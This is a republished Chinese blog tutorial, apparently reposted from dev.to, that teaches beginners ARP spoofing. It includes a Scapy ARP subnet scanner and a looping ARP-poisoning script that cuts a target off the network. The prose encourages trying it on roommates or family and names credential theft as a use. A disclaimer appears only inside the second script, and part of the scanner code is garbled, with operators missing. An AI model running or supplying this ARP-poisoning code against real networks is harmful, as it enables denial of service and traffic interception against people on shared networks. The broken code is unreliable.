”工欲善其事,必先利其器。“—孔子《论语.录灵公》
首页 > 编程 > 初学者最简单的网络攻击:ARP 欺骗

初学者最简单的网络攻击:ARP 欺骗

发布于2024-11-22
浏览:985

什么是 ARP(地址解析协议)?

地址解析协议(ARP)是局域网中用于将 IP 地址转换为物理地址(MAC 地址)的重要协议。

什么是 ARP 攻击?

ARP 攻击是利用 ARP 协议的漏洞。通过发送伪造的 ARP 消息,攻击者可以将其 MAC 地址与受害者的 IP 地址绑定,从而拦截、更改或破坏网络通信。

为什么ARP攻击最容易实施?

ARP 攻击特别容易实施,因为 ARP 协议缺乏固有的安全功能,使其成为网络攻击者的主要目标。 ARP欺骗或ARP中毒因此成为一种常见且危险的网络攻击方法。

使用 Python,您可以在 100 行以内完成代码,而且影响相当显着 — 您的室友或家人可能很快就会失去 WiFi 连接。当然,你不应该试图随意攻击别人,除了好朋友。

ARP 攻击可以做什么?

The Easiest Network Attack for Beginners: ARP Spoofing

  1. 拒绝服务攻击:您可以通过 ARP 攻击破坏室友或家人的 Wi-Fi 连接。通过欺骗目标计算机认为攻击者是网关,攻击者可以中断目标计算机与网关之间的通信,从而阻止目标计算机访问网络资源。

  2. 网络嗅探:攻击者可以利用ARP攻击捕获网络上的所有通信数据包,从而分析和提取敏感信息。

  3. 数据篡改:通过中间人攻击,攻击者可以改变数据包的内容,从而改变通信数据。

现实生活中的例子

  • 企业网络:攻击者可以在公司内部网络中执行 ARP 欺骗,窃取员工的登录凭据、电子邮件内容和其他敏感信息。
  • 公共 Wi-Fi:在咖啡馆、机场等场所,攻击者可以使用 ARP 欺骗来攻击连接到同一 Wi-Fi 网络的用户,窃取他们的私人数据。
  • 家庭网络:攻击者可以在家庭网络设备上进行ARP欺骗,窃取用户的浏览历史记录、登录信息等。

ARP 攻击如何运作

  1. ARP欺骗:攻击者向本地网络上的其他设备发送伪造的ARP响应消息,将其MAC地址与合法设备的IP地址绑定。例如,攻击者可以将自己的 MAC 地址与网关的 IP 地址绑定,欺骗本地网络上的所有设备向攻击者发送数据。

  2. 中间人攻击:一旦ARP欺骗成功,攻击者就可以将自己置于受害者和网关之间,拦截并转发所有通信数据。这使得攻击者能够窃取敏感信息,例如登录凭据和银行帐户信息。

  3. 数据篡改:攻击者不仅可以拦截数据,还可以在将数据转发到受害者或网关之前对其进行更改,从而实现进一步的攻击。

用Python实现ARP攻击

首先,我们将实现一个基本的ARP扫描功能。实施 ARP 探测非常简单。我们可以定义两个函数:一个称为generate_ip_range,它接受一个I​​P地址字符串并生成该子网内的所有主机地址;另一个称为generate_ip_range,它接受IP地址字符串并生成该子网内的所有主机地址;另一个称为arp_scan,它发送ARP数据包。我们可以使用Scapy的ARP函数构造ARP请求并使用srp发送它们,然后等待响应。

from scapy.all import *
import argparse
import threading, time
import logging

# Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20
def Parse_IP(targets):
    _split = targets.split('/')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]), int(_split[1])   1)
    addr = [ip_split[0]   '.'   ip_split[1]   '.'   ip_split[2]   '.'   str(p) for p in ipv4]
    return addr

# Scan the local network for online devices using the ARP protocol
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc']))
    except Exception:
        exit(1)

if __name__ == "__main__":
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--scan", dest="scan")
    args = parser.parse_args()
    # Usage: main.py -s 192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan, args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

接下来我们将学习如何实现ARP拒绝服务攻击。 ARP DOS 攻击的核心是 send_payload 函数。每次调用此函数都会发送两个数据包:第一个数据包伪装成网关,欺骗目标计算机认为攻击者是网关;第一个数据包伪装成网关,欺骗目标计算机认为攻击者是网关。第二个数据包伪装成目标计算机,欺骗网关认为攻击者是目标计算机。通过多线程发送这两个数据包,目标计算机将无法连接网络,从而实现DOS攻击。

"""
Disclaimer:

This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission.

Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations.

The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization.

Before running this code, please confirm that you have understood and accepted this disclaimer.
"""

from scapy.all import *
import argparse
import threading, time
import logging

# Create and send payloads
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
    print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP))
    # Generate ARP packet, pretending to be the gateway to deceive the target computer
    sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface)
    # Generate ARP packet, pretending to be the target computer to deceive the gateway
    sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name")
    parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address")
    parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address")
    args = parser.parse_args()

    # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
    if args.gateway and args.target:
        srcMac = get_if_hwaddr(args.interface)  # Get the local MAC address through the interface name
        tgtMac = getmacbyip(args.target)  # Get the target computer's MAC address through its IP address
        gatewayMac = getmacbyip(args.gateway)  # Specify the gateway MAC address in the local network
        while True:
            t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
            t.start()
            t.join()
            time.sleep(1)
    else:
        parser.print_help()

如何防范日常网络攻击

作为一名独立开发人员,您可能经常遇到保护您的网站免受各种复杂攻击(尤其是最简单的攻击)的挑战。

例如ARP攻击非常容易执行,攻击代码不到100行。然而,造成的损害可能是巨大的。如果开发人员需要详细防御每种类型的攻击,这可能是一项艰巨的任务,可能会超出开发工作量。

因此,集成第三方平台已经成为一种非常常见的解决方案。 Edgeone、Cloudflare 等平台可以提供有效的保护服务。虽然这些服务可能需要几美元,但与自卫相比,它们大大减轻了精神负担。

这是我写的一篇关于常见网络攻击及其解决方案的文章。如果您有兴趣,请随时查看。

版本声明 本文转载于:https://dev.to/mpoiiii/the-easiest-network-attack-for-beginners-arp-spoofing-pn4?1如有侵犯,请联系[email protected]删除
最新教程 更多>
  • Python元类工作原理及类创建与定制
    Python元类工作原理及类创建与定制
    python中的metaclasses是什么? Metaclasses负责在Python中创建类对象。就像类创建实例一样,元类也创建类。他们提供了对类创建过程的控制层,允许自定义类行为和属性。在Python中理解类作为对象的概念,类是描述用于创建新实例或对象的蓝图的对象。这意味着类本身是使用类关...
    编程 发布于2025-06-11
  • 在Python中如何创建动态变量?
    在Python中如何创建动态变量?
    在Python 中,动态创建变量的功能可以是一种强大的工具,尤其是在使用复杂的数据结构或算法时,Dynamic Variable Creation的动态变量创建。 Python提供了几种创造性的方法来实现这一目标。利用dictionaries 一种有效的方法是利用字典。字典允许您动态创建密钥并分...
    编程 发布于2025-06-11
  • Python中嵌套函数与闭包的区别是什么
    Python中嵌套函数与闭包的区别是什么
    嵌套函数与python 在python中的嵌套函数不被考虑闭合,因为它们不符合以下要求:不访问局部范围scliables to incling scliables在封装范围外执行范围的局部范围。 make_printer(msg): DEF打印机(): 打印(味精) ...
    编程 发布于2025-06-11
  • 反射动态实现Go接口用于RPC方法探索
    反射动态实现Go接口用于RPC方法探索
    在GO 使用反射来实现定义RPC式方法的界面。例如,考虑一个接口,例如:键入myService接口{ 登录(用户名,密码字符串)(sessionId int,错误错误) helloworld(sessionid int)(hi String,错误错误) } 替代方案而不是依靠反射...
    编程 发布于2025-06-11
  • 如何克服PHP的功能重新定义限制?
    如何克服PHP的功能重新定义限制?
    克服PHP的函数重新定义限制在PHP中,多次定义一个相同名称的函数是一个no-no。尝试这样做,如提供的代码段所示,将导致可怕的“不能重新列出”错误。 但是,PHP工具腰带中有一个隐藏的宝石:runkit扩展。它使您能够灵活地重新定义函数。 runkit_function_renction_re...
    编程 发布于2025-06-11
  • C++20 Consteval函数中模板参数能否依赖于函数参数?
    C++20 Consteval函数中模板参数能否依赖于函数参数?
    [ consteval函数和模板参数依赖于函数参数在C 17中,模板参数不能依赖一个函数参数,因为编译器仍然需要对非contexexpr futcoriations contim at contexpr function进行评估。 compile time。 C 20引入恒定函数,必须在编译时进行...
    编程 发布于2025-06-11
  • 如何使用替换指令在GO MOD中解析模块路径差异?
    如何使用替换指令在GO MOD中解析模块路径差异?
    在使用GO MOD时,在GO MOD 中克服模块路径差异时,可能会遇到冲突,其中3个Party Package将另一个PAXPANCE带有导入式套件之间的另一个软件包,并在导入式套件之间导入另一个软件包。如回声消息所证明的那样: go.etcd.io/bbolt [&&&&&&&&&&&&&&&&...
    编程 发布于2025-06-11
  • Python读取CSV文件UnicodeDecodeError终极解决方法
    Python读取CSV文件UnicodeDecodeError终极解决方法
    在试图使用已内置的CSV模块读取Python中时,CSV文件中的Unicode Decode Decode Decode Decode decode Error读取,您可能会遇到错误的错误:无法解码字节 在位置2-3中:截断\ uxxxxxxxx逃脱当CSV文件包含特殊字符或Unicode的路径逃...
    编程 发布于2025-06-11
  • 如何从PHP中的Unicode字符串中有效地产生对URL友好的sl。
    如何从PHP中的Unicode字符串中有效地产生对URL友好的sl。
    为有效的slug生成首先,该函数用指定的分隔符替换所有非字母或数字字符。此步骤可确保slug遵守URL惯例。随后,它采用ICONV函数将文本简化为us-ascii兼容格式,从而允许更广泛的字符集合兼容性。接下来,该函数使用正则表达式删除了不需要的字符,例如特殊字符和空格。此步骤可确保slug仅包含...
    编程 发布于2025-06-11
  • Java的Map.Entry和SimpleEntry如何简化键值对管理?
    Java的Map.Entry和SimpleEntry如何简化键值对管理?
    A Comprehensive Collection for Value Pairs: Introducing Java's Map.Entry and SimpleEntryIn Java, when defining a collection where each element com...
    编程 发布于2025-06-11
  • 如何正确使用与PDO参数的查询一样?
    如何正确使用与PDO参数的查询一样?
    在pdo 中使用类似QUERIES在PDO中的Queries时,您可能会遇到类似疑问中描述的问题:此查询也可能不会返回结果,即使$ var1和$ var2包含有效的搜索词。错误在于不正确包含%符号。通过将变量包含在$ params数组中的%符号中,您确保将%字符正确替换到查询中。没有此修改,PDO...
    编程 发布于2025-06-11
  • 可以在纯CS中将多个粘性元素彼此堆叠在一起吗?
    可以在纯CS中将多个粘性元素彼此堆叠在一起吗?
    [2这里: https://webthemez.com/demo/sticky-multi-header-scroll/index.html </main> <section> { display:grid; grid-template-...
    编程 发布于2025-06-11
  • 对象拟合:IE和Edge中的封面失败,如何修复?
    对象拟合:IE和Edge中的封面失败,如何修复?
    To resolve this issue, we employ a clever CSS solution that solves the problem:position: absolute;top: 50%;left: 50%;transform: translate(-50%, -50%)...
    编程 发布于2025-06-11
  • 如何使用FormData()处理多个文件上传?
    如何使用FormData()处理多个文件上传?
    )处理多个文件输入时,通常需要处理多个文件上传时,通常是必要的。 The fd.append("fileToUpload[]", files[x]); method can be used for this purpose, allowing you to send multi...
    编程 发布于2025-06-11
  • PHP SimpleXML解析带命名空间冒号的XML方法
    PHP SimpleXML解析带命名空间冒号的XML方法
    在php 很少,请使用该限制很大,很少有很高。例如:这种技术可确保可以通过遍历XML树和使用儿童()方法()方法的XML树和切换名称空间来访问名称空间内的元素。
    编程 发布于2025-06-11

免责声明: 提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发到邮箱:[email protected] 我们会第一时间内为您处理。

Copyright© 2022 湘ICP备2022001581号-3